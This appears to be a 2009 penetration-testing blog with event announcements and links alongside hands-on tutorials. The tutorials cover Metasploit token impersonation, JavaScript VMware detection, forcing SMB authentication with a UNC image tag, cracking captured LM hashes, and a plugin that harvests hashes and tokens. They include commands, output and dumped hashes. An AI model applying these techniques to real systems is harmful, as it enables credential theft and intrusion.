Social Engineering Master Class at ChicagoCon

I'm excited that next week i'll be attending the Social Engineering Master Class at ChicagoCon with Chris Nickerson and Mike Murray. I'll also be sticking around to give my Client-Side talk for the con portion on Saturday.

The outline for the SE Master Class is up and it looks good!

"The world of Information Security is changing. Budgets are tighter, attacks are more sophisticated, and the corporate network is no longer the low hanging fruit. That leaves web-enabled applications as the vector-du-jour, but that well is quickly drying up for organized crime as well. As they creep up the OSI Model looking for easier ways to steal your corporate assets, they are quickly making their way up the stack to the unspoken 8th layer, the end user. So what is the next step in the never-ending escalation of this cyber war?

To find out, we must do as Sun Tzu taught. "Think like our enemy!" That is, after all, the primary tenet of penetration testing AKA ethical hacking, isn't it? After years of hardening physical systems, networks, OSs, and applications, we have now come full circle to a new dawn of attack. People are now the target of the advanced hacker, and the cross-hairs are focused squarely on their foreheads... literally. It is only a matter of time before corporations feel the pain of wetware hacking requiring a new approach to testing and defense. It has become imperative to assemble a world-class team of experts to train professionals on the technologies and methods of the most dangerous and costly attackers, social engineers."

http://www.chicagocon.com/2009s/semasterclass.html

I think there are still seats available for the class and tickets for the con portion as well.

See everyone in Chicago!

-CG

Modern Social Engineering Webcast Part II

Be sure to check out

Part II of the Modern Social Engineering Webcast with Chris Nickerson and Mike Murray

Webcast: Modern Social Engineering Part II - Top 5 Ways to Manipulate Humans Over the Wire

Join world-renowned social engineers, Chris Nickerson of TruTV's Tiger Team and noted expert and international speaker, Mike Murray, as they prepare you for the future of pen testing. This webcast on Thursday April 30, 2009 at 12:00 Noon CDT continues your education in the world of "Modern Social Engineering."

http://www.ethicalhacker.net/content/view/253/1/

Shotgun Blast 22 April 2009

Quick links of relevant stuff that I'm too lazy to fully comment on

1st up, Robert Graham preaching it on why Cyber Commands will fail.
http://erratasec.blogspot.com/2009/04/why-cyber-commands-fail.html

2. Time for an Internet A-Team...Interview with Joe Stewart on what to do about cyber criminals.
http://voices.washingtonpost.com/securityfix/2009/04/time_for_an_internet_a-team.html?wprss=securityfix

3. Laramies on post exploitation with Meterpreter
http://laramies.blogspot.com/2009/04/meterpreter-post-exploitation-recap.html

4. Frankly disappointing news that any country would make a website against the law and order all ISPs to block it ...Belgium FTW!! Talk about the beginning of a slippery slope into China-like behavior...up next Carnal Blog for having a dissenting opinion.
http://blog.remes-it.be/?p=207
http://blog.rootshell.be/2009/04/22/the-great-firewall-of-belgium/

5. Pulling data and file information from system restore points
http://windowsir.blogspot.com/2009/04/timeline-analysis-xp-restore-points.html

6. Combating the ora_ntlm_stealer technique. Link to the original white paper also in the post.
http://www.slaviks-blog.com/2009/04/22/getting-os-access-using-oracle-database-unprivileged-user/

7. Online metadata extraction with FOCA
http://www.informatica64.com/FOCA/

8. Ahh the "forever-ness" of the internet and how stupid ass questions may bite you in the ass later in life...Professor 0110 FTW!!
http://spool.metasploit.com/pipermail/framework/2009-April/thread.html#start

--EOF--

How do YOU defend against 0day?!

There is an interesting thread over on DailyDave about 0day and what you can do about it.

Its far from complete, so go read the thread and come back...

http://lists.immunitysec.com/pipermail/dailydave/2009-April/thread.html#5673

Thus far Ron Gula's response is the best.

My thoughts on this is that it really depends a lot on the maturity of the environment. Most environments wouldn't stand a chance against even a crappy targeted client-side attack with public vulnerabilities. If you throw in 0day...forget about it But assuming a mature environment, I think you use 0day to test your defenses to targeted and 0day attacks.

Does one 0day totally own your network?

I think using 0day allows you to test:
Are things segregated properly enough that someone popping a shell on a workstation cant get access to "what makes you money"?
Does you HIPS/HIDS stop that stack/heap overflow? Does it stop you from putting new binaries on the box for post exploitation?
Is your AV worth anything? How long before 0day(that eventually becomes public) becomes an AV alert?
Does your network IPS/IDS detect or block the exploit traffic?
Can you detect the outbound traffic? and RESPOND?!
Are your users running with elevated privileges or are your admins doing their regular work with their admin accounts?

that sort of thing...thoughts?

Back from Notacon

g0ne and I just got back from presenting on Client-Side Attacks at Notacon. You can check out his write up here. I have pretty much the same things to say.

It was definitely a unique con especially that it was more "everything tech" versus hardcore security...so like g0ne said we ended up with lots of down time in between talks we were interested in. We spent a bit of time in the lockpick village so that was fun. I usually don't have time to do that stuff because I have talks I want to see.

that's about it...

Up next ChicagoCon in May. I'll also be up there for the Social Engineering Master Class so I'm excited about that.

-CG

carnal0wnage on Exotic Liability Podcast

Chris Nickerson was kind enough to ask me to join him for his Exotic Liability podcast.

You can check it out here:
http://exoticliability.qb1.libsyn.com/index.php?post_id=453598

Main Exotic Liability Page:
http://www.exoticliability.com/

I had a blast! I'm really looking forward to hearing the rest of the interviews/podcasts. They had some really sharp people come on the show including Mike Murray, Val Smith, Delchi, and Max Caceres.

Next time we'll get Dean in on the call.

Notes from the podcast (or stuff I forgot to mention but should have)

Oracle Demo video from ShmooCon Firetalk
http://www.vimeo.com/3118559

Metasploit Oracle API and some code (still beta)
http://metasploit.com/users/mc/

**requires Oracle Instantclient and rubydbi and probably some other stuff

SOURCE Boston video of Vince and I's client-side talk
http://www.vimeo.com/3665163

Check out Michael Santarcangelo's book on Defending against Breaches, which has alot to do with educating users, user awareness programs, defending against SE, and handling data breaches....a must read!
http://www.intothebreach.com/

g0ne and I will be giving the client-side talk at NotaCon 6 in April and ChicagoCon in May

More on working with Incognito and Metasploit

Since a buddy asked for some clarification on using incognito extension with Metasploit/Meterpreter I'll post some more notes on it.

the background you need is here:
http://www.mwrinfosecurity.com/publications/
mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf

Let's set up the scenario.

We either exploited something...yea! or we guessed an admin password and used the psexec module (that's what I did). the psexec module will drop us to a SYSTEM shell if all went well.

msf exploit(psexec) > sessions

Active sessions
===============

Id  Description  Tunnel                          
--  -----------  ------                          
1   Meterpreter  192.168.1.102:52595 -> 192.168.1.103:31851

msf exploit(psexec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: ORACLE-ENT
OS      : Windows .NET Server (Build 3790, Service Pack 2).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > use incognito
Loading extension incognito...success.

now we want to query what tokens are available

Incognito Commands
==================

Command              Description                                   
-------              -----------                                   
add_group_user       Attempt to add a user to a global group with all tokens
add_localgroup_user  Attempt to add a user to a local group with all tokens
add_user             Attempt to add a user with all tokens         
impersonate_token    Impersonate specified token                   
list_tokens          List tokens available under current user context
snarf_hashes         Snarf challenge/response hashes for every token

meterpreter > list_tokens
Usage: list_tokens 

Lists all accessible tokens and their privilege level

OPTIONS:

-g        List tokens by unique groupname
-u        List tokens by unique username

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
ORACLE-ENT\Administrator

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

We want to become the ORACLE-ENT\Administrator user

meterpreter > impersonate_token
Usage: impersonate_token 

Instructs the meterpreter thread to impersonate the specified token. All other actions
will then be made in the context of that token.

Hint: Double backslash DOMAIN\\name (meterpreter quirk)
Hint: Enclose with quotation marks if name contains a space

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > impersonate_token ORACLE-ENT\\Administrator
[+] Delegation token available
[+] Successfully impersonated user ORACLE-ENT\Administrator
meterpreter > getuid
Server username: ORACLE-ENT\Administrator

Weeeeeeeeee!

Ok, should you need to get back to system, just do a rev2self

meterpreter > rev2self
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > impersonate_token ORACLE-ENT\\Administrator
[+] Delegation token available
[+] Successfully impersonated user ORACLE-ENT\Administrator
meterpreter > getuid
Server username: ORACLE-ENT\Administrator

Now you'll probably want to run commands as that user...I hope that was the point of all this...

After you load the incognito extension you'll get an extra option with your execute options (-t)

meterpreter > execute
Usage: execute -f file [options]

Executes a command on the remote machine.

OPTIONS:

-H        Create the process hidden from view.
-a   The arguments to pass to the command.
-c        Channelized I/O (required for interaction).
-d   The 'dummy' executable to launch when using -m.
-f   The executable command to run.
-h        Help menu.
-i        Interact with the process after creating it.
-m        Execute from memory.
   -t        Execute process with currently impersonated thread token

We need to use the "-t" so we can use the impersonated thread token, otherwise you'll get a shell as SYSTEM or whoever you were.

meterpreter > execute -f cmd.exe -H -c -i -t
Process 2936 created.
Channel 6 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\>whoami
whoami
oracle-ent\administrator

C:\>

Detecting VMware with JavaScript (or how to waste your time with pointless exercises)

So a thread on ethicalhacker.net discussed some JavaScript tricks that web exploit kits are using to screw with analysts looking at the malicious sites and js. Today most analysts will use a debugger or interpreter like Rhino or Malzilla. Well, the site authors are starting to add code to either cause the script to exit when run in one of the interpreters or to do more malicious stuff like delete files and such. [original article]

One of the questions asked was if it was possible, or currently being implemented by malware authors, to use JavaScript to detect if the browser was inside a virtual machine. Before I continue let me say that this is completely pointless from a malware perspective. Detecting the presence of a vm using client side JavaScript is just silly. Not hard to bypass. Just comment it out and move on. Now if this could be done server side then perhaps it might have value. Still pointless though.

Anyway I wondered if you could do it using JavaScript and so wasted way too much time on getting it to work. I guess you could do this in Java but regardless of how you do it the user will need to interact with your script to run it. If there is a way to bypass that requirement then let me know.

There are various methods out there for detecting vm's but for this example I figured I'd keep it simple and use the MAC address as an indicator. VMware has their own OUI for the MAC addresses that are dynamically generated when you install VMware Workstation. The OUI is different for VMware Player but I focused on Workstation. I figured that an ActiveX object would be the easiest way to go to determine the MAC and if it matched the OUI then to alert.

After fooling around a bit I came up with this:

</script language="javascript">
 function vmDetect(){ 
     var o = new ActiveXObject("WbemScripting.SWbemLocator");
     var s = o.ConnectServer(strServer = ".");
     var a = s.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration");
     var e = new Enumerator(a);
     var mac = [];
     var regex = /(00:50:56).*/; //OUI of VMware's dynamically generated MAC address.

     for (;!e.atEnd();e.moveNext()){ //Loop over Adapter properties.
         var x = e.item();
         if(x.MACAddress){
             mac[mac.length] = x.MACAddress; 
         }
     }
     for (var i=0; i<mac.length; i++) {
         if (mac[i].match(regex)) {
             alert("ohnes! you're in a virtual machine");
             exit();
         }
     }
 }
</script>

Basically the script uses the ConnectServer method of the SWbemLocator object to get the SWbemServices ExecQuery method to return an object. In this case we are querying the Win32_NetworkAdapterConfiguration WMI class to return the properities of the network adapters on the system. Once we have these values we, quite unnecessarily, add the MACAddress values to an array and then iterate through the array alerting on the first string that matches the regular expression we created.

You don't really need the array. You could remove the array and just do:

if (x.MACAddress.match(regex)) {
 alert("ohnes! you're in a virtual machine");
 exit();
}

So yes, you can use JavaScript, or in my case bad JavaScript, to determine, at a basic level, if you're in a vm. But like I said. It's kinda pointless. :)

/dean

Maltego for Network Infrastructure Enumeration

New article on Using Maltego for Network Infrastructure Enumeration posted on EthicalHacker.net

Any organization that has an Internet presence needs to have some form of infrastructure to support their presence. During Infrastructure Enumeration you attempt to discover how much of it exists, what type of infrastructure is used, where it is located, what technology is used and how it is structured. This type of information is interesting for:

* Security assessments (as this is the first and most tedious phase of any external assessment).
* Getting an idea of the organization’s Internet and geographical presence.
* Gaining insight into the technology used by the organization.
* Making connections between seemingly unconnected organizations (as they might be sharing common infrastructure).
* Getting a list of brands or affiliations supported by the organization.

Read the article over on EthicalHacker.net
http://www.ethicalhacker.net/content/view/251/24/

Using the Metasploit SMB Sniffer Module

There has been some talk about using the SMB Relay module in Metasploit and then trying to crack those hashes. I'll spare the links to protect the uninformed.

The SMB Relay module is for doing just what it says, relaying the SMB session back to another host. It used to be the same host but now, post 08-068, you have to pick another system on the network. Doesn't matter what system, just not the same system. (I'll try to cover this in another blog post soon)

Additionally, the SMB Relay module provides a random challenge for each attempt and doesn't log those challenges anywhere that you could go back and use. So that pretty much rules out using the hashes you see in the output for password cracking.

For background it looks like this which looks just like the one that will work :-(

[*] Received 192.168.0.103:2281 XPSP1VM\vmwareXP LMHASH:7c83b9be93e202a4be355b75e982144b59bb9f836ec26200 NTHASH:9fc0fba25cb2817441a0ca8c003a4b68da83ef9e72514b2e OS:Windows 2002 2600 Service Pack 1 LM:Windows 2002 5.1

So what are we to do? Use the SMB Sniffer module of course!

The SMB sniffer module allows you to capture LM/NTLM hashes that can be cracked later. It uses a known challenge key which allows you to crack the hash offline. msf > use auxiliary/server/capture/smb msf auxiliary(smb) > info Name: Authentication Capture: SMB Version: 5966 Provided by: hdm Description: This module provides a SMB service that can be used to capture the challenge-response password hashes of SMB client systems. All responses sent by this service have the same hardcoded challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using Cain & Abel or L0phtcrack. To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path(\\SERVER\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate.

We need to force a victim to authenticate to metasploit. The easiest way is to embed a UNC link into a webpage or email.

Example: img src="\\networkIP\share\1.gif"

Once the victim's browser tries to authenticate, the sniffer module will capture the hashes (which can be cracked later using rainbow tables). You'll notice the difference between this module and SMB Relay which issues a random challenge making cracking impossible. So if you want to crack passwords, use the server/capture/smb auxiliary module, if you want to try to get a shell use the smb_relay exploit module.

msf > use auxiliary/server/capture/smb msf auxiliary(smb) > run [*] Auxiliary module running as background job msf auxiliary(smb) > [*] Server started. [*] Captured 192.168.0.101:57794 XPSP1VM\Administrator LMHASH:76365e2d142b5612980c67d057eb9efeee5ef6eb6ff6e04d NTHASH:727b4e35f947129ea52b9cdedae86934bb23ef89f50fc595 OS:Windows 2002 Service Pack 1 2600 LM:Windows 2002 5.1 [*] Captured 192.168.0.101:44641 XPSP1VM\Administrator LMHASH:76365e2d142b5612980c67d057eb9efeee5ef6eb6ff6e04d NTHASH:727b4e35f947129ea52b9cdedae86934bb23ef89f50fc595 OS:Windows 2002 Service Pack 1 2600 LM:Windows 2002 5.1 [*] Captured 192.168.0.101:49777 XPSP1VM\Administrator LMHASH:76365e2d142b5612980c67d057eb9efeee5ef6eb6ff6e04d NTHASH:727b4e35f947129ea52b9cdedae86934bb23ef89f50fc595 OS:Windows 2002 Service Pack 1 2600 LM:Windows 2002 5.1

We can now use HALFLM rainbow tables with the 1122334455667788 challenge to crack the first half of the password.

**We only take the first 16 characters of the LM hash output

LMHASH:76365e2d142b5612980c67d057eb9efeee5ef6eb6ff6e04d

We can then use rainbow tables to crack the first half:

$ ./rcracki *.rti -h 76365e2d142b5612 halflmchall_alpha-numeric#1-7_0_2400x57648865_1122334455667788_distrrtgen[p][i]_0.rti: reading... 264241152 bytes read, disk access time: 4.97 s verifying the file... searching for 1 hash... plaintext of 76365e2d142b5612 is PASSWOR cryptanalysis time: 5.24 s statistics ------------------------------------------------------- plaintext found: 1 of 1 (100.00%) total disk access time: 4.97 s total cryptanalysis time: 5.24 s total chain walk step: 1783216 total false alarm: 591 total chain walk step due to false alarm: 703255 result ------------------------------------------------------- 76365e2d142b5612 PASSWOR hex:50415353574f52

You will have to guess or bruteforce the rest :-( but thankfully there is a tool in your metasploit tools directory to help you do just that!

$ ruby halflm_second.rb Usage: halflm_second.rb OPTIONS: -h Display this help information -n The encypted LM hash to crack -p The decrypted LANMAN password for bytes 1-7 $ ruby halflm_second.rb -n 76365e2d142b5612980c67d057eb9efeee5ef6eb6ff6e04d -p PASSWOR [*] Trying one character... [*] Cracked: PASSWORD

Carnal0wnage Blog makes the top 5 Best Technical Security Blog

I am happy to announce that Carnal0wnage Blog made the top 5 Best Technical Security Blogs for the RSA Social Security Awards

https://365.rsaconference.com/blogs/blogger_meetup/2009/04/06/social-security-awards--the-finalists

Best Technical Security Blog

Carnal 0wnage
Zero Day
Schneier on Security
SANS
Rational Survivability

Thanks to everyone that voted or to whoever coded up that burp script :-)

Automatic credential collection and storage with CredCollect

In previous posts here at Carnal0wnage, CG has diligently covered using MSF and meterpreter to do all kinds of stuff, including grabbing hashes with the Priv extension (Vinnie Liu) and tokens with the Incognito extension (Luke Jennings). These are powerful post-exploitation features that yield invaluable information to the engaging team, therefore the presentation and accessibility of this data becomes an important factor as the scale of the engagement and number of targets grows. CredCollect is a simple plugin for MSF that hooks meterpreter session events and performs the gathering and persistent storage of this data for you transparently.

Upon successful session creation, the CredCollect plugin determines if the session opened is indeed a meterpreter session, loads the Priv and Incognito extensions, and extracts the hashes and tokens from the target. The plugin then stores each hash and token as a Note in the database of the framework instance and hands the session back to the console for the user to interact with it at the standard meterpreter> prompt.

The plugin also adds two commands to the MSF console when loaded named db_hashes and db_tokens respectively. The db_hashes command prints all of the hashes accrued in the database in a format suitable for import into various password crackers (OphCrack, L0pht, etc). The db_tokens command simply prints all of the tokens in the database with the host they were found on.

msf > help credcollect Commands ==================== Command Description ------- ----------- db_hashes Dumps hashes collected in the database db_tokens Dumps tokens collected in the database with host information

The utility of this plugin is best realized in medium to large scale engagements (read: beaucoup shellz) such as internal engagements or external phishing campaigns that result in multiple parallel sessions returning to the team at unpredicted rates and times.

Some common scenarios of use and bite-sized demos:

The db_hashes command is useful after a day or two of sweeping for low hanging fruit and pilfering hashes. The team can easily export all of the credentials that were transparently collected in the database and start cracking them for the next phase of the attack.

msf auxiliary(psexec) > [*] Meterpreter session 1 opened (192.168.216.128:35998 -> 192.168.216.129:35660) [*] This is CredCollect, I have the conn! [*] Meterpreter session 2 opened (192.168.216.128:39631 -> 192.168.216.135:13276) [*] This is CredCollect, I have the conn! [*] Meterpreter session 3 opened (192.168.216.128:59599 -> 192.168.216.130:29261) [*] This is CredCollect, I have the conn! [*] Meterpreter session 4 opened (192.168.216.128:40972 -> 192.168.216.134:19663) [*] This is CredCollect, I have the conn! msf auxiliary(psexec) > db_hashes Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: ASPNET:1003:f23cfdf84c392fbc77c0e0f2917836b0:01d86d700f9ea6ad3aa8bbdfcf521cac::: batman:1005:efdb5ed3696653c9aad3b435b51404ee:b7265f8cc4f00b58f413076ead262720::: cmonster:1004:c1e93c824b1cfaa8aad3b435b51404ee:8969a961103af73fcc0748e43c5ff7f2::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IUSR_LAB-B2257C3B992:1001:5124477c769fbec46266a2cb1c844b3f:a9f888877ce9df5216bbc08b31e43e3d::: IWAM_LAB-B2257C3B992:1002:b36530029b636023d96dccb509274796:2b37090e60171bb7e654def4801070ee::: labadmin:1000:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: batman:1004:efdb5ed3696653c9aad3b435b51404ee:b7265f8cc4f00b58f413076ead262720::: Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: ASPNET:1003:37a6404c8dd5bfbd531e60cb30342487:d180f9afa235590ce7b2ee87fb5f931b::: batman:1004:efdb5ed3696653c9aad3b435b51404ee:b7265f8cc4f00b58f413076ead262720::: dknuth:1005:a2c541b4541eb1b0aad3b435b51404ee:a86f1e9a32b9e448d2489b3a6e54430b::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: bgates:1005:aa79e536edfc475e1fd352bdd2352014:535aa08a36ce010447800ef9308f056e::: IME_ADMIN:1003:4da9826b50892c5d00aa4eedb6ef32d3:b863209024a2f29f7f614cbb9ec4c8cd::: IME_USER:1002:4da9826b50892c5d00aa4eedb6ef32d3:b863209024a2f29f7f614cbb9ec4c8cd::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IUSR_LAB-F1F8AF69593:1000:fe4a20238f2f142b5ddd0be5f2a79e05:5e16d29ec4eda6ab28630283b41351cc::: IWAM_LAB-F1F8AF69593:1001:9810533c7118c42e56ab6132ae49abcb:9942f80a8065ef33d1d9ed3cf542094c::: labadmin:1000:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: batman:1004:efdb5ed3696653c9aad3b435b51404ee:b7265f8cc4f00b58f413076ead262720::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:7c02152d1cc79a43a82647b338f3300a:6d95eda25c0726fbaf0b31217ed6ac48::: kgriffey:1005:263ec07d6b3acc9caad3b435b51404ee:5af89060a89b58d912dd991dde9e9bbd::: lab:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ca221df23070348c4225ad0f20d31d30:::

The db_tokens command is useful in situations where you seek a specific user token and want to know if you've found that token on any of the boxes the team has compromised. For example, if you were to own a local service account or backup admin account, you could plug those credentials into psexec_scanner and automate searching an entire subnet or domain for a box with a domain admin token on it that you have gained access to.

msf auxiliary(psexec) > db_tokens 192.168.216.135 - LAB-B2257C3B992\labadmin 192.168.216.135 - NT AUTHORITY\SYSTEM 192.168.216.135 - NT AUTHORITY\ANONYMOUS LOGON 192.168.216.134 - LAB-F1F8AF69593\Administrator 192.168.216.134 - NT AUTHORITY\SYSTEM 192.168.216.134 - NT AUTHORITY\ANONYMOUS LOGON 192.168.216.129 - LAB-S1MG7462FL1\lab 192.168.216.129 - NT AUTHORITY\LOCAL SERVICE 192.168.216.129 - NT AUTHORITY\NETWORK SERVICE 192.168.216.129 - NT AUTHORITY\SYSTEM 192.168.216.129 - NT AUTHORITY\ANONYMOUS LOGON 192.168.216.130 - LAB-B2257C3B992\batman 192.168.216.130 - NT AUTHORITY\SYSTEM 192.168.216.130 - LAB-B2257C3B992\labadmin 192.168.216.130 - NT AUTHORITY\ANONYMOUS LOGON

As you can see highlighted, we have found the desired 'batman' user token is accessible on '192.168.216.130'.

And at the end of the day, all of these are just Note's in the MSF database so you can display them as such, or query the information from the actual database file with any sqlite client.

msf auxiliary(psexec) > db_notes [*] Time: Thu Mar 26 01:05:18 -0700 2009 Note: host=192.168.216.130 type=auth_SMB data=AUTH 192.168.216.130:445 Administrator password [*] Time: Thu Mar 26 01:05:18 -0700 2009 Note: host=192.168.216.134 type=auth_SMB data=AUTH 192.168.216.134:445 Administrator password [*] Time: Thu Mar 26 01:05:18 -0700 2009 Note: host=192.168.216.135 type=auth_SMB data=AUTH 192.168.216.135:445 Administrator password [*] Time: Thu Mar 26 01:05:25 -0700 2009 Note: host=192.168.216.130 type=auth_TOKEN data=LAB-B2257C3B992\batman [*] Time: Thu Mar 26 01:05:25 -0700 2009 Note: host=192.168.216.130 type=auth_TOKEN data=NT AUTHORITY\SYSTEM [*] Time: Thu Mar 26 01:05:25 -0700 2009 Note: host=192.168.216.130 type=auth_TOKEN data=LAB-B2257C3B992\labadmin [*] Time: Thu Mar 26 01:05:25 -0700 2009 Note: host=192.168.216.130 type=auth_TOKEN data=NT AUTHORITY\ANONYMOUS LOGON

So you can load the CredCollect plugin at startup and transparently collect credential information, also, since the initial implementation of this code was in a meterpreter script, you can drop the credcollect meterpreter script in your scripts directory and use it in one-off cases or whatever if you feel more comfortable doing it manually than loading the plugin.

Source or it didn't happen..
Plugin - Script

This plugin was definitely inspired by a similar effort that Valsmith and Colin Ames (now of AttackResearch) presented at DefCon 16 in their talk 'Meta-Post Exploitation' called MetaPass but to my knowledge that plugin was never publicly released.

PS. For a while a hairy thread issue kept this thing from working reliably so I'd like to thank egypt and icer for helping me debug it and track it down and hdm for ultimately fixing it in Changeset 6831